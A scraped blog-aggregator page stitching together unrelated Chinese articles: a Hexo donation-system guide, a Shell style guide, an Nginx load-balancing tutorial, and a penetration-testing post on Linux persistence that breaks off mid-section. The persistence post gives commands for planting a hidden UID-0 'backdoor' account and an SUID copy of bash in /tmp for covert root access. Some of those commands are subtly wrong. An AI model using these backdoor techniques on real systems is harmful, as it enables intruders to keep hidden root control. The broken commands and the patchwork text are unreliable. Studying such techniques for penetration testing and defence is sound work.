    本文鏈接:http://www.flydean.com/java-io-nio-selector/

    本文來源:flydean的博客

    歡迎關注我的公眾號:程序那些事,更多精彩等着您!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 給你看看小白博主開發的打賞系統

    給你看看小白博主開發的打賞系統

    本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

    為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

    Hexo-Donate

    打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

    GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

    寫在前面

    1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

    2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

      給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

      決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

      新版本思路:

    3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

    4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

    關於系統

    理論上不管什麼框架,只要有一個空白頁面就能安排上…

    打賞列表demo:https://xingjiahui/donate

    問卷頁面demo:https://donate.xingjiahui.top

    後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

    已支持的功能

    1. 打賞列表可統計總打賞人數打賞金額
    2. 不同打賞方式字體显示顏色不同
    3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
    4. 數據上傳成功后,博主會收到QQ消息提醒

    待更新內容

    1. 區分已核實未核實金額
    2. 豐富QQ消息提醒內容
    3. 接入微信推送
    4. 支持自動審核

    系統界面圖

    1. 打賞列表:

    2. 問卷頁面:

    3. 操作GIF實錄:

    注:QQ消息提醒內容以後會豐富。

    安裝系統要求

    1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
    2. 打賞列表準備一個頁面

    使用該系統

    教程中用到的免費虛擬主機維護結束,已開放購買。

    下載並上傳

    1. 在項目頁clone or download選擇Download ZIP

    2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

      解壓后如圖:

      框選出的文件/文件夾可刪除

    導入數據庫

    點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

    當你開通虛擬主機時,會看到如下頁面:

    將這個密碼填入,即可導入成功(無視警告):

    為了便於測試,導入的數據庫中自帶了兩條數據:

    系統測試完成后請刪除!

    搭建問卷網站

    其實,將項目文件導入后,網站已經搭建完成:

    但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

    瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

    配置虛擬主機

    回到面板首頁,找到賬戶主機信息

    將右下角的PHP版本更換為php73

    注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

    以下操作需要在www目錄下完成!

    1. 配置getJsonData.php

      點擊編輯

      找到下圖框選出的位置:

      還記得賬戶主機信息么,將對應的信息替換。

    2. 配置regist.php

      點擊編輯,找到下圖框選出的位置:

      下圖位置也要修改:

    3. 測試數據庫是否配置成功

      訪問上面那個域名,填寫上信息:

      上傳,判斷是否配置成功:

      ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

    4. 檢查數據導出是否正常:

      瀏覽器訪問:域名/getJsonData.php

      查看能否導出數據庫內容:

    目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

    編輯前端頁面

    1. forkgithub項目:

    2. 編輯pageJs.js文件

      點擊下圖位置可以在線修改文件:

      修改內容為:

    3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

      Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

      修改下圖位置代碼:

      粘貼到空白頁面(markdown/html均可):

      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
      <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
          <span class="inline-tag red">sumDonate</span> 元!</p>
      <table>
          <thead>
          <tr>
              <th align="center">用戶名</th>
              <th align="center">打賞方式</th>
              <th align="center">打賞金額</th>
              <th align="center">賞金去向</th>
          </tr>
          </thead>
      </table>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
      

      注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

    4. 檢查前端頁面是否能夠正常显示數據:

    提醒功能

    1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

    2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

      注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

    3. 點擊文檔,用接口地址替換下面代碼中的接口地址

      echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
      
    4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

    後期使用

    1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

      想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

    2. 後期維護:

      當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

      • 收到打賞:將數據庫中donate_confirm字段修改為YES

      • 未收到打賞:在數據庫中將該記錄刪除

    至此,Hexo-Donate打賞系統全部安裝完成!

    感謝

    愛網雲、JsDelivr、Qmsg醬、亂世中的單純

    FLORIN POP、濤歌依舊、Yiven、程序小能手

    怪我咯、SweetAlert2、BigShow、百度經驗

    不足之處,歡迎留言,會及時回復,及時更正!

    創作不易,感謝支持!

    本文由博客群發一文多發等運營工具平台 OpenWrite 發布

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • Shell語法規範

    • ver:1.0
    • 博客:https://www.cnblogs.com/Rohn
    • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

    目錄

    • 背景
      • 使用哪一種Shell
      • 什麼時候使用Shell
    • 註釋
      • 頂層註釋
      • 功能註釋
      • TODO註釋
    • 格式
      • 縮進
      • 行的長度和長字符串
      • 管道
      • 循環
        • if-else語句
        • for-do和while-do語句
      • case語句
      • 變量擴展
    • 特性
      • 命令替換
      • 文件名的通配符擴展
    • 命名約定
      • 函數名
      • 變量名
      • 常量和環境變量名
      • 源文件名
      • 只讀變量
      • 使用本地變量
    • 調用命令
      • 檢查返回值

    背景

    博客:https://www.cnblogs.com/Rohn

    使用哪一種Shell

    可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

    推薦使用:

    #!/usr/bin/env bash
    

    env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

    限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

    無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

    [root@test ~]# echo $SHELL
    /bin/bash
    

    什麼時候使用Shell

    使用Shell需要遵守的一些準則:

    • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
    • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
    • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
    • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

    請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

    註釋

    博客:https://www.cnblogs.com/Rohn

    Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

    頂層註釋

    每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of MySQL databases.
    
    • 第1行,指明解釋器,使用bash

    #!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

    • 第2-5行,分別為作者、版本號、創建時間、功能說明。

    功能註釋

    任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

    其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

    所有的函數註釋應該包含:

    • 函數的描述
    • 全局變量的使用和修改
    • 使用的參數說明
    • 返回值,而不是上一條命令運行后默認的退出狀態

    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
    # Perform hot backups of Oracle databases.
    
    export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'
    
    #######################################
    # Cleanup files from the backup dir
    # Globals:
    #   BACKUP_DIR
    #   ORACLE_SID
    # Arguments:
    #   None
    # Returns:
    #   None
    #######################################
    cleanup() {
      ...
    }
    

    TODO註釋

    TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

    例如:

    # TODO(mrmonkey): Handle the unlikely edge cases (bug ####)
    

    格式

    博客:https://www.cnblogs.com/Rohn

    縮進

    縮進兩個空格,沒有製表符。例如:

    if [ a > 1 ];then
      echo '${a} > 1'
    fi
    

    行的長度和長字符串

    行的最大長度為80個字符。例如:

    # DO use 'here document's
    cat <<END;
    I am an exceptionally long
    string.
    END
    
    # Embedded newlines are ok too
    long_string="I am an exceptionally
      long string."
    

    管道

    如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

    應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

    例如:

    # All fits on one line
    command1 | command2
    
    # Long commands
    command1 \
      | command2 \
      | command3 \
      | command4
    

    循環

    if-else語句

    if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

    if condition; then
      statement(s)
    else
      statement(s)
    fi
    

    for-do和while-do語句

    while/for; do放在同一行,donewhile/for垂直對齊,即:

    # while structure
    while condition; do
      statement(s)
    done
    
    # for structure
    for condition; do
      statement(s)
    done
    

    例如:

    for dir in ${dirs_to_cleanup}; do
      if [[ -d "${dir}/${ORACLE_SID}" ]]; then
        log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
        rm "${dir}/${ORACLE_SID}/"*
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      else
        mkdir -p "${dir}/${ORACLE_SID}"
        if [[ "$?" -ne 0 ]]; then
          error_message
        fi
      fi
    done
    

    case語句

    • 通過2個空格縮進可選項。
    • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
    • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

    匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

    # case structure
    case in expression in
      pattern1)
        statement1
        ;;
      pattern2)
        statement2
        ;;
      ...
      *)
        statementn
        ;;
    esac
    

    例如:

    case "${expression}" in
      a)
        variable="..."
        some_command "${variable}" "${other_expr}" ...
        ;;
      absolute)
        actions="relative"
        another_command "${actions}" "${other_expr}" ...
        ;;
      *)
        error "Unexpected expression '${expression}'"
        ;;
    esac
    

    只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

    verbose='false'
    aflag=''
    bflag=''
    files=''
    while getopts 'abf:v' flag; do
      case "${flag}" in
        a) aflag='true' ;;
        b) bflag='true' ;;
        f) files="${OPTARG}" ;;
        v) verbose='true' ;;
        *) error "Unexpected option ${flag}" ;;
      esac
    done
    

    變量擴展

    按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

    例如

    # Section of recommended cases.
    
    # Preferred style for 'special' variables:
    echo "Positional: $1" "$5" "$3"
    echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."
    
    # Braces necessary:
    echo "many parameters: ${10}"
    
    # Braces avoiding confusion:
    # Output is "a0b0c0"
    set -- a b c
    echo "${1}0${2}0${3}0"
    
    # Preferred style for other variables:
    echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
    while read f; do
      echo "file=${f}"
    done < <(ls -l /tmp)
    
    # Section of discouraged cases
    
    # Unquoted vars, unbraced vars, brace-quoted single letter
    # shell specials.
    echo a=$avar "b=$bvar" "PID=${$}" "${1}"
    
    # Confusing use: this is expanded as "${1}0${2}0${3}0",
    # not "${10}${20}${30}
    set -- a b c
    echo "$10$20$30"
    

    特性

    博客:https://www.cnblogs.com/Rohn

    命令替換

    使用 $(command)而不是反引號。

    嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

    例如:

    # This is preferred:
    var="$(command "$(command1)")"
    
    # This is not:
    var="`command \`command1\``"
    

    文件名的通配符擴展

    當進行文件名的通配符擴展時,請使用明確的路徑。

    因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

    # Here's the contents of the directory:
    # -f  -r  somedir  somefile
    
    # This deletes almost everything in the directory by force
    psa@bilby$ rm -v *
    removed directory: `somedir'
    removed `somefile'
    
    # As opposed to:
    psa@bilby$ rm -v ./*
    removed `./-f'
    removed `./-r'
    rm: cannot remove `./somedir': Is a directory
    removed `./somefile'
    

    命名約定

    博客:https://www.cnblogs.com/Rohn

    函數名

    使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

    如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

    # Single function
    my_func() {
      ...
    }
    
    # Part of a package
    mypackage::my_func() {
      ...
    }
    

    當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

    變量名

    使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

    for zone in ${zones}; do
      something_with "${zone}"
    done
    

    常量和環境變量名

    全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

    # Constant
    readonly PATH_TO_FILES='/some/path'
    
    # Both constant and environment
    declare -xr ORACLE_SID='PROD'
    

    源文件名

    使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

    只讀變量

    使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

    因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

    zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
    if [[ -z "${zip_version}" ]]; then
      error_message
    else
      readonly zip_version
    fi
    

    使用本地變量

    使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

    使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

    當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

    my_func2() {
      local name="$1"
    
      # Separate lines for declaration and assignment:
      local my_var
      my_var="$(my_func)" || return
    
      # DO NOT do this: $? contains the exit code of 'local', not my_func
      local my_var="$(my_func)"
      [[ $? -eq 0 ]] || return
    
      ...
    }
    

    調用命令

    博客:https://www.cnblogs.com/Rohn

    檢查返回值

    對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

    if ! mv "${file_list}" "${dest_dir}/" ; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    
    # Or
    mv "${file_list}" "${dest_dir}/"
    if [[ "$?" -ne 0 ]]; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    

    Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

    tar -cf - ./* | ( cd "${dir}" && tar -xf - )
    if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
      echo "Unable to tar files to ${dir}" >&2
    fi
    

    可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

    tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
    return_codes=(${PIPESTATUS[*]})
    if [[ "${return_codes[0]}" -ne 0 ]]; then
      do_something
    fi
    if [[ "${return_codes[1]}" -ne 0 ]]; then
      do_something_else
    fi
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:
    
    1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    2. 掛掉的服務器,怎麼才能不再訪問?
    3. 如何保證負載均衡的高可用性?
    
    等等等等...
    
    讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。
    

    1. 前置概念

    在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

    1. 中間件

    干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

    賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

    經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

    於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

    在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

    2. 正向代理和反向代理

    正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

    反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

    當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

    2. Nginx 的概念

    了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

    Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

    3. 最簡單的 Nginx 使用示例

    本章節項目的代碼:chapter3

    Step 1. 部署多套環境

    我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

    1. pom.xml 中的 artifactId 修改為 chapter3
    2. application.yml 中的 server.port 修改成 8089

    這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

    Step 2. 下載 Nginx

    我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

    下載完成解壓縮,不需要額外的安裝,可以直接使用。

    Step 3. 配置 Nginx

    進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

    1. 在 http 中增加 upstream,並配置兩台環境的地址;
    2. 在 http.server.location 中增加 proxy_pass 的配置;

    http {
        ...
    
        #增加 upstream 的配置,其中 myserver 是自己起的名字
        upstream myserver{
    	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
    	     server 127.0.0.1:8089;
        }
    
        server {
            listen       80;
            server_name  localhost;
    
            #charset koi8-r;
    
            #access_log  logs/host.access.log  main;
    
            location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
            }
    
          }
        }
        ...
    }
    

    完整配置文件請參考:nginx.conf

    Step 4. 啟動 Nginx

    我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

    start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程
    
    nginx.exe -s stop //停止 Nginx
    nginx.exe -s quit //停止 Nginx
    

    Step 5. 測試 Nginx

    讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

    http://127.0.0.1/queryAdmin
    

    注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

    User : Admin
    

    這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

    我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

    4. Nginx 常見的路由策略

    1. 輪詢法

    最簡單的輪詢法,多餘的配置不需要增加。

    upstream myserver{
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    2. 源地址哈希法

    使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

    upstream myserver{
       ip_hash; # hash(IP)
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

    3. 加權輪詢法

    使用 weight 關鍵字,設置每台服務器的權重;

    upstream myserver{
       server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
       server 127.0.0.1:8089 weight=4;
    }
    

    4. 最小連接數法

    根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

    upstream myserver{
       least_conn;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    5. 最快響應速度法

    根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

    upstream myserver{
       fair; # 額外安裝 nginx-upstream-fair 模塊
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    6. URL 哈希算法

    對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

    upstream myserver{
       hash $request_uri;
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

    upstream myserver{
       consistent_hash $request_uri;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    參考資料:Upstream Consistent Hash

    5. Nginx 常用功能

    5.1 請求失敗重試

    當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    

    我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

    1. Nginx 默認有失敗重試機制;
    2. 默認的超時時間為 60s 。

    這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    完整配置文件請參考:設置超時重試時間5秒-nginx.conf

    不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

    5.2 後端服務器節點健康狀態檢查

    如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;
    
    這就叫做“後端服務器節點健康狀態檢查”。
    

    如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

    1. 設置超時時間:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    2. 設置嘗試重試的次數:

    upstream myserver{
      	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
      	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
    }
    

    其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

    完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

    除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

    • nginx_upstream_check_module
    • ngx_http_healthcheck_module

    5.3 Nginx 的高可用

    以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);
    
    但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?
    

    Nginx 同樣也需要部署多台,架構大概是這個樣子的:

    現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

    5.4 其他

    除了以上的常見功能,強大的 Nginx 還可以:

    1. 限制 IP 訪問頻率和帶寬佔用;
    2. 緩存靜態資源;
    3. 文件壓縮;
    4. TCP 負載;
    5. 防盜鏈;
    6. 等等等等…

    總結

    我們現在的架構已經變成了:

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 滲透測試-權限維持

    linux權限維持

    添加賬號

    一般在具有root權限時可以使用以下2種方式添加root權限用戶

    1.通過useradd,後面賬號backdoor/123456

    useradd -u 0 -o -g root -G root backdoor
    
    echo 123456:password|chpasswd
    

    2.通過直接對etc/passwd文件進行寫入

    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果
    
    # 123456加密后的結果為AASwmzPNx.3sg
    
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中
    

    清理以上痕迹

    userdel -f backdoor
    

    設置sid位的文件

    在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

    在高權限時

    cp /bin/bash /tmp/.bash
    
    chmod 4755 /tmp/.bash  #設置suid
    

    使用時帶上-p參數

    /tmp/.bash -p
    

    清理痕迹

